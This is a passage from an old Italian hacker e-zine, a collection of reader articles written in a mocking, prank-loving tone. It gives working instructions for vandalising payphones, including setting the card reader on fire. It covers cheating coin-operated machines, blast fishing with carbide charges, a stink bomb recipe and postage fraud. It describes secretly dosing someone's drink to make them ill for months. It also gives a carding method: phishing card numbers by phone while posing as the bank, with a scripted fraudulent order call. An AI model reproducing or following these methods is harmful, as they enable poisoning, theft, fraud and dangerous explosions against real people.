ºÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙº
ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ

Arrivano i vandali!!!

Autore: Fusyllo
Consumo: 1 lattina di CocaCola e un cabina Telecom
Musica ascoltata: quella che volete
Dedicato: a tutti quelli che sono incazzati con la Telecoz

Questa volta vi spieghero' come rendere inutilizzabile la cabina telefonica
della cara mammina Telecom.

1. Potete infilare qualcosa (piu' grande delle monetine!) nel buco accanto al
display dove si mettono le monetine in modo che le monetine non entrino
piu'.
2. Infilate un scheda piegata in due nel "mangiaschede".
3. Privare della cosa piu' importante il telefono: la cornetta. Con una
tronchese tagliate il filo o tiratela e giratela finch‚ non si stacca.
Potete anche togliere il coperchio che copre il microfono con un cacciavite
prendere il microfono e richiudete.
4. In alcune cabine telefoniche sotto il telefono c'e' una cabina elettrica,
se riuscite ad aprirla vi siete fatti un salvavita.
5. Prendete una siringa e riempitela di alcol (basta che sia infiammabile),
trovate una cabina infilate l'ago (della siringa :-)) nel lettore delle
schede e cercate di spruzzare un po tutto il lettore. Ora prendete un
accendino e accendete il liquido, le cinghiette per muovere la scheda e
le testine si bruceranno e il lettore Š inutilizzabile.
6. Con un cacciavite rompete il display. In questo modo non si potr… vedere
ne l'importo ne il numero di telefono che si sta' chiamando.
7. Rompete i vetri.
8. Un po di fantasia :-D

Credo che ora la cabina sia inutilizzabile.

Fusyllo@usa.net Fusyllo

ÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏ

ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
ºÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿º
º³ COME HACKERARE UN COIN-OP ³º
ºÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙº
ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ

Eccomi qui!

Sto per rivelarvi qualcosa che mi e' capitato di constatare personalmente
l'estate scorsa ovvero:

COME HACKERARE UN COIN-OP:

o meglio

COME GOCARE AI COIN-OP GRATIS:

E' una cosa semplicissima....dovete semplicemente trovare una sala giochi
che usi ancora le 500 œ o un bar con un coin-op che vi interessa.........
Cambiate 5.000 œ tutti in pezzi da 50 œ e andate possibilmente in una zona
della vostra citta' dove passano poche macchine e molti tram............
e adesso viene il bello:andate vicino ad una rotaia e mettete i pezzi da
50 œ tutti in fila a distanza di 3 cm l'una dall'altra.
Allontanatevi un po per non destare sospetti dato che tutto questo provocher…
un po di rumore,aspettate che passi il tram e che schiacci le monete.......
dopo di che andate SUBITO a raccoglierle per evitare che il drogaz di turno
le accatti prima di voi, e in questo modo otterrete delle monete da 50 œ modifi
cate in modo da essere larghe quasi come le 500 œ (dato che il coin-op riconosce
solo la larghezza e non il peso non ne notera' la differenza).

N.B.:Ovviamente non tutte le 50 œ verranno accettate dalla macchinetta poiche e'
matematicamente impossibile che il tram le schiacci tutte in modo uguale
percio' non venite a lamentarvi se sciupate qualche moneta...

AVVERTENZE o CONSIGLI:Non mettere mai piu' di una decina di 50 œ in una sola
volta ma se proprio avete fretta mettetene dieci su una
rotaia e dieci su un'altra.
Non fatevi mai pizzicare dal cocchiere o almeno fate
finta di niente dato che se venite sgamati il cocco
scendera' dal tram e verra' a farvi brutto e in questo
modo si rallentera' tutto il traffico e incorrerete
anche nell'ira degli automobilisti nonche' potrebbero
sorgere complicazioni a livello sociale....

ATTENZIONE (ihihi) IL TRAM POTREBBE ANCHE DERAGLIARE (whishhh)

Chiudo qui chiedendovi di non venire a lamentarvi da me se qualcosa non
funziona o se vi beccano e vi sbattono in gabbia (ihih).....io mi declino da
ogni responsabilita'.
Se mi volete contattare:

Nickname:PiNbALL

E-Mail:discopinball@hotmail.com
Oppure venitemi a trovare nel mio canale su irc : #discomania
O visitate il mio sito http://members.tripod.com/pinball6/pinb.html

ÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏ

ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
ºÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿º
º³ "COMPLETAMENTO" DELL'ART APPARSO SU NewBies 2 SULLE BANCHE ³º
ºÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙº
ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ

PREMESSA BY N0bodY88 = questo msg mi e' stato mandato come "completamento" del
mio art sulle banche pubblicato sul numero 2 di NewBies.
Ho deciso di pubblicarlo xche' spiega un po' meglio il
modo x non farsi beccare e godere delle nostre imprese!

Devi sapere che le azioni una volta che le poni in vendita sono vendute la
miglior offerente e quindi anke su tu le vendi a 2.000 non Š detto che
riesci a ricomprarle a 2.000 ...
Un metodo + sicuro ?
Tranzasione via rete : puoi venderle domani e oggi impostare come parametro
di ricerca ed esecuzione che le azioni XXX vadano comprate nelle
prossime 24 o 48 ore con una spesa massima di 2.000 lirette...
Okkio che per fare una cosa del genere devi avere un conto in banca e almeno
1.000 dollari di account per giocare in borsa....
Tieni anke presente che se te le fai versare in banca devi pensare che la
banca tiene il log delle tue operazioni e non sarebbe piacevole che ti fai
inculare per una cazzatina cos....
Quindi , se ti apri un'account con un broker on line e gli specifichi che i
ricavi dei tuoi movimenti non ti vengano accreditati alla tua banca di
appoggio ma reinvestiti in azioni , mi sa che Š + sicuro....
Se poi specifichi che una volta comprate le azioni della SexyShop a 2.000
devi metterle in vendita al miglior offerente e comprare Telecom a qualunque
cifra entro 15 minuti , poi vendere su piazza italiana e con il ricavato
comprare su piazza straniera riesci a mascherarti benino.....
Specie se imposti queste operazioni la sera prima o meglio 2 giorni prima di
vendere le azioni a poco , nessuno potr… mai dimostrare che hai fatto
qualcosa di illegale , faranno fede i log del tuo broker on line...
Vedi che i log non sono sempre cattivi? :-)))

Anonimo

NOTA DI N0bodY88 = l'autore di quest'art. e' un amico mio e di NewBies che
vuole rimanere anonimo xche' molto conosciuto nel mondo
dell'economia e delle transazioni. Ovviamente i complimenti
a lui x la sua spiegazione imo molto ben fatta :-)

ÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏ

ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
ºÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿º
º³ LE "FAMOSE" BOLLE MICROSOFT ³º
ºÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙº
ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ

Un art. veloce veloce...

This art.'s DeD 2 : la photo con gli adesivi
della MS sul qoolo!!.

Eh eh...."caxxo sono 'ste bolle??" mi chiederete voi.
"Una cosa molto divertente" vi rispondo io "specialmente se fatta con CD
della Microshit!!"
.
Agguantate un fottutissimo CD Microshit, levate quella schifezza di stratino
di plastica che ricopre la parte superiore del CD, questa operazione si puo'
effetuare in var modi: surf sull'asfalto (ulntwh99 eh eh), coltelluzzi vari
ect. ect.....
Ora prendete un accendino e riscaldate la parte inferiore del CD finche' non
vedrete la superfice che incomincia a deformarsi, soffiateci sopra forte e
vedrete una bolla tanto lunga quanto e' stata forte la vostra emissione di
fiato dal vostro orifizio orale....(N0bodY88 riesce a fare delle bolle di 1/2
cm......ogni riferimento alle sigarette e' puramente casuale !!!)
AH AH AH AH AH AH......!!!!!!
Beh...questo e' quanto......Se vedemo BoyZ....

By *Dante Alighieri*

NOTA BY N0bodY88 = salutiamo insieme il nostro mitico Dante che ci ha lasciato
dopo che lo ho messo fuori dal NewBies Staff causa citazio_
ne in questo articolo...sniff...ci mancherai :PPPPP hihihi
scherzavo ovviamente!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

ÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏ

ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
ºÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿º
º³ W LA PESCA DI FRODO ³º
ºÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙº
ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ

Questo articolo e' da pazzi quindi non scrivetemi per dirmelo perche' lo so
gia' !!!

PESCA DI FRODO !!!!

Chi di voi non vorrebbe fare 1 figurone con la propria ragazza (o no chi se
ne fotte ...) al mare emergendo dagli abissi con 1a decina di pesci NELLE
MANI o solamente sulla FIOCINA ????
Ecco qui il metodo semplice ed efficace ...
A chimica 1 gg 1a gocciolina ebbe l'idea di cadere in 1a sostanza marrone
solida ... ne sussegui' un urlo del prof "TUTTI A TERRA !!!!" poi ...dopo
circa 20 sec --> BOUMMMMMMMMMMMMM !!!
Si ruppe il lavello di "pietra" dove era contenuto il barattolo con la
simpatica gocciolina !
Si venne poi a conoscere 1 interessante reazione ...il carburo a contatto con
l'acqua esplode !
Vabbe' puo' non essere 1a cosa nuova ma per me lo era e da quel giorno nella
mia sQuola si susseguirono numerose misteriose esplosioni ...
AVEVO dato sfogo alla mia fantasia ...m'ero creato delle "bombe a tempo" dopo
essermi ovviamente fottuto tutto il carburo del laboratorio di chimica !!!
Bhe questo carburo lo uso anche per pescare di frodo poiche' basta metterlo
in un involucro (piccolo per carita' !!!) come quello delle sorpresine kinder,
bucarlo e buttarlo a una relativa profondita' con 1 sasso attaccatp plz
...la pressione aumentera' cosi' l'acqua avra' meno difficolta' a raggiungere
l'interno del contenitore con conseguente esplosione .
E' consigliabile attuare questo stratagemma dopo aver gettato esca che vada
sul fondo come del resto il vostro contenitore !!!
un altro metodo e' quello di gettare pane in quantita' industriale con lo
scopo di attirare molti pesci poi buttarci in mezzo il contenitore con pero'
il foro + largo in modo che qyalche skizzo penetri all'interno della
confezione e "inneschi" il tutto !!!
I pesci che emergerannno saranno direttamente proporzionali alla quantita' di
pane gettato e alla quantita' di acrburo utilizzato !
Attenzione ...ai pescatori potrebbe non piacere molto sto scherzetto ...gli
rubate il mestiere in fondo ...

bY Anonymous

ÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏ

ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
ºÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿º
º³ W I PROF ASSENTI DA sQuola ³º
ºÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙº
ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ

W L'ASSENTEISMO !!!!

Volete FOTTERE qualcuno nel modo + bastardo possibile ?
Bene Prendete nota allora di cio' che vi occorre !

>-> 1a pastiglia sublinguale di feldene (1 noto antiinfiammatorio)
>-> 1a aspirina 03
>-> levolax in quantita' industriale ...

mischiate il tutto in quanta acqua calda anzi bollente volete (meno e' meglio
e') e lasciate fermentare il composto al sole per 1 gg .
Dopo di cio' il tutto e' pronto all'utilizzo !!!
Versate il tutto in 1a bevanda che berra' lo sfigati ...
NB: LA SOSTANZA E' INSAPORE , TRASPARENTE , MA NON INODORE quindi nella
Coca Cola va benissimo !
La reazione sara' fantastica :
1a semplice reazione allergica ...la pelle si squamera' , il prurito sara'
insopportabile quindi l'individuo SI GRATTERA' VIA LA PELLE DA SOLO !!!!!!!!
Stara' a casa + o - dai 2 ai 4 mesi a seconda delle quantita' e del soggetto!

BUON DIVERTIMENTOOOOOOOOO

HAHAHAHAHAHAHAHAHHOHOHOHOHOHOHOHHIHIHIHIHIHIHIHEHEHEHEHEHE !!!!

(sono pazzo da legare ...)

bY Anonymous
ÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏ

ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
ºÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿º
º³ L'ARTE DEL CARDING ³º
ºÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙº
ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ

Buongiorno e buonasera a tutti. Leggendo il titolo di questo articolo alcuni
(spero pochi) si saranno chiesti: "ma che diavolo e' il carding?". Bene, il
carding e' l'uso di carte di credito altrui, ottenute illegalmente. E' un'
attivita' discretamente diffusa anche in Italia, quindi entriamo subito nel
l'argomento. E' d'obbligo fare una distinzione: ci sono essenzialmente due
modi di fare carding:

1) RUBARE una carta di credito e andare in giro per negozi a fare acquisti
2) ottenere il NUMERO di una carta di credito ed ordinare per telefono.

Per quanto riguarda il primo punto, non dovrebbero esserci molti problemi:
individuate la vittima, che magari avete visto poco prima pagare in un negozio
con una carta di credito (per questo vi consiglio di frequentare gli
IperMercati di sabato pomeriggio), e le rubate il portafogli o la borsetta.
Recuperate la carta di credito (da ora in avanti CC) e buttate via tutto il
resto (anzi no, magari trattenete i soldi, visto che ci siete): vi trovate
con in mano una CC bella fresca, precipitatevi in un negozio (chesso', di CD,
di computer, di vestiti etc), comprate quello che volete, pagate con la CC e
sentitevi soddisfatti. Facile, vero? Certo, ma ci sono delle cose a cui fare
attenzione; vi consiglio di avere sempre un amico motorizzato fuori dal
negozio nel caso doveste scappare all'improvviso (chesso', la cassiera puo'
conoscere il vero proprietario della CC e sgamarvi); ricordate di non fare
puttanate del tipo (se siete maschi) presentarvi con una CC intestata a
"Mariettina Rossi", oppure (se siete donne) usare una CC intestata a "Fausto
Bianchi"
; siate sempre sicuri di voi, migliorera' anche il tono di voce, state
calmi, non balbettate e tutto il resto, sono cose che fanno insospettire i
commessi e fanno nascere grane. Per ultimo non andate nel negozio che
frequentate sempre o in quello sotto casa, mi sembra piu' che ovvio.
Ma il metodo che piu' preferisco e vi consiglio e' il secondo: ottenere un
numero di CC e usarlo ordinando telefonicamente. Ci sono molti modi per
ottenere numeri validi, fra poco vi descrivero' il migliore, ma cacchio, NON
USATE I GENERATORI PER NUMERI DI CC che si trovano praticamente ovunque su
internet, sono delle vaccate che vi mettono solo nei guai. Fate piuttosto
cosi': prendete le pagine gialle (o le Pagine Utili Mondadori) spulciate
nelle categorie ingegneri, medici, dentisti, avvocati etc, insomma nelle
categorie di laureati che con piu' probabilita' hanno una CC e segnatevi i
numeri, la via e tutto il resto. Ok, andate in una cabina telefonica
(dannazione non fatelo dal telefono di casa), chiamate e spacciatevi per un
dipendente della banca e cominciate a sparare troiate del tipo "siccome c'e'
stato un aggiornamento nell'archivio del computer centrale, dovremmo
verificare che i numeri di CC corrispondano..."
insomma, usate la fantasia
(come al solito), usate anche modi gentili e frasi del tipo "con gli altri
clienti finora non ci sono stati problemi"
per rassicurarli: al 99% vi daranno
le informazioni che richiedete. Dovete farvi dare: tipo di CC, numero della CC
e data di scadenza. Nome, cognome, indirizzo e numero telefonico ce l'avete
gia'. WOW! Avete un numero valido di CC! E ora?
Beh ora il piu' e' fatto: cercate una ditta dalla quale si possa ordinare per
telefono e che permetta di pagare con CC (praticamente tutte) e telefonate
(dalla cabina). Una telefonata tipo potrebbe essere:

<Ditta> Salve, qui e' la Computer&TuttoIlResto. Posso aiutarla?
<Voi > Salve. Si', vorrei fare un ordine.
<Ditta> Benissimo, cosa vorrebbe ordinare?
<Voi > Una scheda video Voodooo3
<Ditta> Ok. Mi dovrebbe lasciare i suoi dati. Nome?
<Voi > [Nome e cognome del tizio della carta di credito]
<Ditta> Indirizzo?
<Voi > [Indirizzo di dove avete intenzione di andare a ritirare il pacco]
<Ditta> Ok, va bene una spedizione tramite corriere?
<Voi > Cazzo, va benissimo. Ma avevo intenzione di pagare tramite carta di
credito
<Ditta> Non ci sono problemi. Che carta di credito? Che numero? Scadenza?
<Voi > [Tutti i dati della carta di credito]
<Ditta> Bene.
<Voi > Siccome io sono sempre fuori per lavoro, posso decidere l'orario in
cui il corriere deve lasciarmi il pacco?
<Ditta> Certo, non ci sono problemi.
<Voi > Bene, le 15:00 di giovedi' prossimo.
<Ditta> Ok, salve e grazie!
<Voi > Ma grazie a lei! hihihihihi (ghigno malefico)

Che coincidenza! Alle 15:00 del giovedi' vi fate trovare al portone del
l'edificio, fate finta di niente e dite al ragazzo del corriere "Ah! E' il
pacco di Computer&TuttoIlResto? Si'? E' per me, sono il sig. [Cognome del
tizio della carta di credito]"
. Vi fara' firmare una ricevuta, mettete uno
scarabocchio alla cazzo, prendete il pacco e divertitevi.
"Beh, e al tizio della CC che diavolo succede?" E che diavolo ve ne fotte?!?
Comunque, tanto per sapere, gli verra' accreditato l'ordine che avete fatto
voi sulla ricevuta che gli arriva regolarmente ogni mese, chiedera'
informazioni, cercheranno di capire cos'e' successo, si ricordera' della
telefonata del tipo gentile della banca e se lo sentira' mooolto profondamente
nel culo. E vissero tutti (tranne lui) felici e contenti. Ancora un paio di
precisazioni: non fate ordini troppo costosi, i controlli aumenterebbero;
acquistate roba sotto le 100-150.000, tanto e' sempre gratis, no? Rischierete
molto meno. Siate sempre convinti&sicuri, ne gioveranno tutti.
Per concludere volevo commentare alcune cose che ho letto sull'argomento che
non condivido affatto; in molti articoli statunitensi sul carding ho letto
cose del tipo "fate lasciare il pacco in un edificio disabitato, o da qualcuno
che sia partito in vacanza"
. Cacchio, ma da loro non esistono le ricevute? Da
loro i corrieri sono cosi' imbecilli da lasciare i pacchi incustoditi? Mah...
oppure mi e' capitato di leggere di applicare la tecnica del trashing;
praticamente di rompere i sacchetti dell'immondizia di un negozio che accetta
CC per ottenere degli scontrini con i dati che ci servono. Uh? E quando mai
ci sbrighiamo? Dovremmo stare mesi a ravanare tra le loro merdate a caccia di
un minuscolo scontrino che magari hanno anche strappato... Ok, la finisco qui,
comunque state bene attenti e riflettete quando leggete documenti di questo
tipo: alcune volte ci sono scritte delle vere e proprio boiate (spero non sia
il caso di questo). Aloha!

Killexx

NOTA BY /sPIRIT/ = Se il trashing non serve a un cazzo io sono Bill Gates...

ÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏ

ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
ºÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿º
º³ ARRIVANO I VANDALI !!! ³º
ºÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙº
ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ

Autore: Fusyllo
Consumo: 1 paco di...(forse e' meglio che non mangiate) e una maschera
antigas :)
Musica ascoltata: quella che volete
Dedicato: a tutto lo staff di NewBies.

Quante volte avete sentito parlare di Stinky Bomb?? Mai? Allora ve lo spiego.
La Stinky Bomb e' una miscela che ha una puzza insopportabile che puo' essere
usata per fare scherzi.

Quello che vi serve.
- Alcol
- Profumi vari
- Zolfo
- Ammoniaca
- Polvere di ferro
- Limone o aceto (io preferisco il limone)
- Fonte di calore
- Pentolino o provetta
- Bilancia
- I contenitori delle sorprese nell'uovo kinder

Come si prepara
Sarebbe meglio andare in garage o a casa di un altro ;-)).
Dovete mischiare un po di tutti i profumi che avete e 1/2 di alcol.
Prendete un pentolino, mettete 7g di ferro e 4g di zolfo riscaldatelo e quando
inizia ad uscire il fumo aggiungete il succo di limone quanto basta, ora avete
del solfuro di ferro.
Sciogliete l'ammoniaca in acqua.
Poi mischiate 3/6 di solfuro di ferro, 1/6 di ammoniaca e 2/6 di profuumi.

Sentite gia' l'odorino :-D

Prendete i contenitori della sorpresa dell'uovo e siggillateli intorno con del
nastro isolante (quello degli elettricisti) e fare un buco sopra, mettete il
liquido e chiudete il buco con dell'altro nastro.

Le Stinky Bomb sono pronte, le aprite quando le dovete usare e le mettete
nella tasca di qualcuno a nella macchina.

Fusyllo@usa.net

  
Fusyllo

ÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏ

ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
ºÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿º
º³ POSTING ovvero SE IO SONO IO E TU 6 TU KI E' IL + SCEMO TRA NOI 2 ³º
ºÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙº
ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ

POSTING ?!?!?! ovvero:
Se io sono io e tu 6 tu ki e' il + scemo tra noi 2 applicato alle PT !!
E' vero che siamo nell'era della posta elettronica,ma kakkio un modo per
fregare l'ente postale mi e' venuto in mente solo ora...!!!
Tengo a precisare che non l'ho ancora provato (datoche non mi e' ankora
servito) ma penso proprio che dovrebbe funzionare.Quest'oggi il mio articolo
e' dedicato ad un bel po'di persone.....per primi tutti coloro che mi hanno
conosciuto al meeting a Bologna (35 people..Wow) Poi ankore alla ragazza che
durante il meeting mi ha detto "ah tu sei Dante Alighieri....piacere io sono
Des..." a cui ho pensato per tutto il giorno nella speranza di riuscire a
capire ki era. Infine alle BOLLE sui CD della Microshit con cui ci siamo
divertiti per una buona mezz'ora. Ma ora passiamo all'art vero e proprio....
L'articulo si basa sul metodo di spedire lettere o pacchi senza pagare un
benemerito caxxo.... A parte il sitema organizzato gia' parecchio tempo fa da
dei ragazzi napoletaniche stampavano con una printer ad alta risoluzione
francobolli assolutamente falsi...me ne ricordo uno con la foto di un pezzo
di figa assurdo tutta ignuda con al posto della scritta "Poste Italiane" la
scritta "Toste Italiane" penso ci sia un'altro metodo abbastanza carino che
mi e'venuto in mente un po' di weeks ago. Cosa succede ad una lettera spedita
senza francobollo ??beh....arriva al destinatario a cui viene chiesto se vuole
pagare la tassa per ricevere la lettera oppure far ritornare la lettera al
mittente. Fin qui' niente di strano ma....se provassimo ad invertire il nome
del mittente con quello del destinatario??? La lettera arriva a me che in
realta' sono il mittente ma che secondo la lettera sono il destinatario, a
quel punto mi chiedono : vuole pagare la tassa ??? io gli rispondo : NoPe...
non mi interessa. Allora le poste che fanno???
Fanno ritornare la lettera al mittente...che in realta' e' il destinatario !!!
ahhahaahahahahhahahahahah

By Dante Alighieri

N.B.Alla fine ho scoperto ki era quella ragazza...Ciao Desdy !!!

ÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏ

ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
ºÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿º
º³ COME HACKERARE UNO SCOOTER ³º
ºÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙº
ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ

cIAO gente!
sono ancora io ...PiNbALL....
Vorrei parlare di un argomento abbastanza importante.....
Quante umiliazioni avete subito ad un semaforo ?
Il vostro scooter non si muove se qualcuno non lo piglia a calci?
No problem.....con 270.000 circa potrete avere una skeggia di ripresa!
Quanti di voi hanno sempre sognato di elaborare il proprio scooter spendendo
pochi soldi???
Volete far si che il vostro scooter si alzi su una ruota appena girate la
manopola del gas su 1/3 ?Vi dico subito che questo e' stato testato sul mio
motorino con esiti + che positivi ed anche se non sono un meccanico
professionista non ho avuto molte difficolta'!


ATTENZIONE:
Le modifiche sotto riportate sono valide per motorini originali o meglio che
non hanno mai subito modifiche...(un modello base insomma)

O MEGLIO "COME COSTRUIRE UN AEREO"

MOTORE:

Smontate testa,cilindro e pistone dal motorino;appoggiateli su un panno e
puliteli,lavateli con un qualsiasi prodotto e asciugateli bene;poi prendete
una lima molto fine ed iniziate ad appiattire la testa del pistone in modo da
farla diventare piatta.Prendete il cilindro e sempre con la lima allargate i
travasi e le luci di scarico(sono buchi semirettangolari nelle pareti del
